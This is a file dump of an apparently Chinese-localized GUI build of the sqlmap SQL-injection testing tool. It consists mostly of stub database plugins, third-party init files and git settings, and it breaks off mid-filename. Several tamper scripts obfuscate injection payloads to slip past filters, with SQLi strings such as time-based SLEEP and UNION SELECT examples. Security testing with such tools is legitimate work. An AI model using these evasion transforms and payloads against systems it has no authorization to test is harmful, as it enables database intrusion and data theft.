25 | errMsg = "在MonetDB上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) 27 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mysql/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 9 | 10 | class Enumeration(GenericEnumeration): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/postgresql/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | 10 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 11 | 12 | class Enumeration(GenericEnumeration): 13 | def getHostname(self): 14 | warnMsg = "在PostgreSQL上无法枚举主机名" 15 | logger.warning(warnMsg) 16 | 17 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/presto/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 Presto 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 Presto 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/presto/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/raima/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 Raima Database Manager 上无法建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/raima/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 Raima Database Manager 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 Raima Database Manager 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/raima/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/sqlite/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 SQLite 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 SQLite 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/sqlite/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/sybase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在Sybase上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在Sybase上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/sybase/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在Sybase上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在Sybase上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在Sybase上无法建立外带连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在Sybase上无法建立外带连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/vertica/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getRoles(self, *args, **kwargs): 13 | warnMsg = "在Vertica上无法枚举用户角色" 14 | logger.warning(warnMsg) 15 | 16 | return {} -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/vertica/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/vertica/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/vertica/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在Vertica上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在Vertica上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在Vertica上无法建立外带连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在Vertica上无法建立外带连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/virtuoso/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在Virtuoso上无法建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/virtuoso/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在Virtuoso上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在Virtuoso上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/virtuoso/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/virtuoso/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在Virtuoso上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在Virtuoso上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在Virtuoso上无法建立外带连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在Virtuoso上无法建立外带连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/generic/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/tamper/0eunion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.HIGHEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 | """ 19 | Replaces instances of UNION with e0UNION 20 | 21 | Requirement: 22 | * MySQL 23 | * MsSQL 24 | 25 | Notes: 26 | * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 27 | 28 | >>> tamper('1 UNION ALL SELECT') 29 | '1e0UNION ALL SELECT' 30 | """ 31 | 32 | return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload 33 | -------------------------------------------------------------------------------- /GUI-CN/tamper/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/tamper/apostrophenullencode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOWEST 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) 18 | 19 | >>> tamper("1 AND '1'='1") 20 | '1 AND %00%271%00%27=%00%271' 21 | """ 22 | 23 | return payload.replace('\'', "%00%27") if payload else payload 24 | -------------------------------------------------------------------------------- /GUI-CN/tamper/base64encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import encodeBase64 9 | from lib.core.enums import PRIORITY 10 | 11 | __priority__ = PRIORITY.LOW 12 | 13 | def dependencies(): 14 | pass 15 | 16 | def tamper(payload, **kwargs): 17 | """ 18 | Base64-encodes all characters in a given payload 19 | 20 | >>> tamper("1' AND SLEEP(5)#") 21 | 'MScgQU5EIFNMRUVQKDUpIw==' 22 | """ 23 | 24 | return encodeBase64(payload, binary=False) if payload else payload 25 | -------------------------------------------------------------------------------- /GUI-CN/tamper/decentities.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOW 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | HTML encode in decimal (using code points) all characters (e.g. ' -> ') 18 | 19 | >>> tamper("1' AND SLEEP(5)#") 20 | '1' AND SLEEP(5)#' 21 | """ 22 | 23 | retVal = payload 24 | 25 | if payload: 26 | retVal = "" 27 | i = 0 28 | 29 | while i < len(payload): 30 | retVal += "&#%s;" % ord(payload[i]) 31 | i += 1 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-CN/tamper/escapequotes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.NORMAL 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Slash escape single and double quotes (e.g. ' -> \') 18 | 19 | >>> tamper('1" AND SLEEP(5)#') 20 | '1\\\\" AND SLEEP(5)#' 21 | """ 22 | 23 | return payload.replace("'", "\\'").replace('"', '\\"') 24 | -------------------------------------------------------------------------------- /GUI-CN/tamper/hexentities.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOW 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) 18 | 19 | >>> tamper("1' AND SLEEP(5)#") 20 | '1' AND SLEEP(5)#' 21 | """ 22 | 23 | retVal = payload 24 | 25 | if payload: 26 | retVal = "" 27 | i = 0 28 | 29 | while i < len(payload): 30 | retVal += "&#x%s;" % format(ord(payload[i]), "x") 31 | i += 1 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-CN/tamper/informationschemacomment.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.NORMAL 13 | 14 | def tamper(payload, **kwargs): 15 | """ 16 | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier 17 | 18 | >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 19 | 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' 20 | """ 21 | 22 | retVal = payload 23 | 24 | if payload: 25 | retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) 26 | 27 | return retVal 28 | -------------------------------------------------------------------------------- /GUI-CN/tamper/ord2ascii.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.HIGHEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 | """ 19 | Replaces ORD() occurences with equivalent ASCII() calls 20 | 21 | Requirement: 22 | * MySQL 23 | 24 | >>> tamper("ORD('42')") 25 | "ASCII('42')" 26 | """ 27 | 28 | retVal = payload 29 | 30 | if payload: 31 | retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-CN/tamper/symboliclogical.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.LOWEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 | """ 19 | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) 20 | 21 | >>> tamper("1 AND '1'='1") 22 | "1 %26%26 '1'='1" 23 | """ 24 | 25 | retVal = payload 26 | 27 | if payload: 28 | retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) 29 | 30 | return retVal 31 | -------------------------------------------------------------------------------- /GUI-CN/tamper/unionalltounion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.HIGHEST 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Replaces instances of UNION ALL SELECT with UNION SELECT counterpart 18 | 19 | >>> tamper('-1 UNION ALL SELECT') 20 | '-1 UNION SELECT' 21 | """ 22 | 23 | return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload 24 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/ansistrm/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/bottle/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/chardet/version.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module exists only to simplify retrieving the version number of chardet 3 | from within setup.py and from chardet subpackages. 4 | 5 | :author: Dan Blanchard (dan.blanchard@gmail.com) 6 | """ 7 | 8 | __version__ = "3.0.4" 9 | VERSION = __version__.split('.') 10 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/clientform/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/clientform/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.7' 7 | 8 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/identywaf/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # The above copyright notice and this permission notice shall be included in 7 | # all copies or substantial portions of the Software. 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/keepalive/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright 2002-2003 Michael D. Stenner 4 | # 5 | # This program is free software: you can redistribute it and/or modify it 6 | # under the terms of the GNU Lesser General Public License as published 7 | # by the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public License 16 | # along with this program. If not, see . 17 | # 18 | 19 | pass 20 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/magic/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/magic/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/multipart/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/multipart/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | if sys.version_info[:2] >= (2, 7): 6 | from collections import OrderedDict 7 | else: 8 | from ordereddict import OrderedDict 9 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/pydes/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright 2009 Todd Whiteman 4 | # 5 | # This program is free software: you can redistribute it and/or modify it 6 | # under the terms of the GNU Lesser General Public License as published 7 | # by the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public License 16 | # along with this program. If not, see . 17 | # 18 | 19 | pass 20 | -------------------------------------------------------------------------------- /GUI-CN/thirdparty/socks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/socks/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/thirdparty/termcolor/__init__.py -------------------------------------------------------------------------------- /GUI-CN/thirdparty/wininetpton/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright Ryan Vennell 4 | # 5 | # This software released into the public domain. Anyone is free to copy, 6 | # modify, publish, use, compile, sell, or distribute this software, 7 | # either in source code form or as a compiled binary, for any purpose, 8 | # commercial or non-commercial, and by any means. 9 | 10 | pass 11 | -------------------------------------------------------------------------------- /GUI-EN/.gitattributes: -------------------------------------------------------------------------------- 1 | *.conf text eol=lf 2 | *.json text eol=lf 3 | *.html text eol=lf 4 | *.md text eol=lf 5 | *.md5 text eol=lf 6 | *.pl text eol=lf 7 | *.py text eol=lf 8 | *.sh text eol=lf 9 | *.sql text eol=lf 10 | *.txt text eol=lf 11 | *.xml text eol=lf 12 | *.yaml text eol=lf 13 | *.yml text eol=lf 14 | LICENSE text eol=lf 15 | COMMITMENT text eol=lf 16 | 17 | *_ binary 18 | *.dll binary 19 | *.pdf binary 20 | *.so binary 21 | *.wav binary 22 | *.zip binary 23 | *.x32 binary 24 | *.x64 binary 25 | *.exe binary 26 | *.sln binary 27 | *.vcproj binary 28 | -------------------------------------------------------------------------------- /GUI-EN/.gitignore: -------------------------------------------------------------------------------- 1 | output/ 2 | __pycache__/ 3 | *.py[cod] 4 | .sqlmap_history 5 | traffic.txt 6 | *~ 7 | req*.txt 8 | .idea/ -------------------------------------------------------------------------------- /GUI-EN/Windows double-click to start graphics-py3.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | start /B pythonw3 .\gui_win_py3.py 3 | -------------------------------------------------------------------------------- /GUI-EN/Windows double-click to 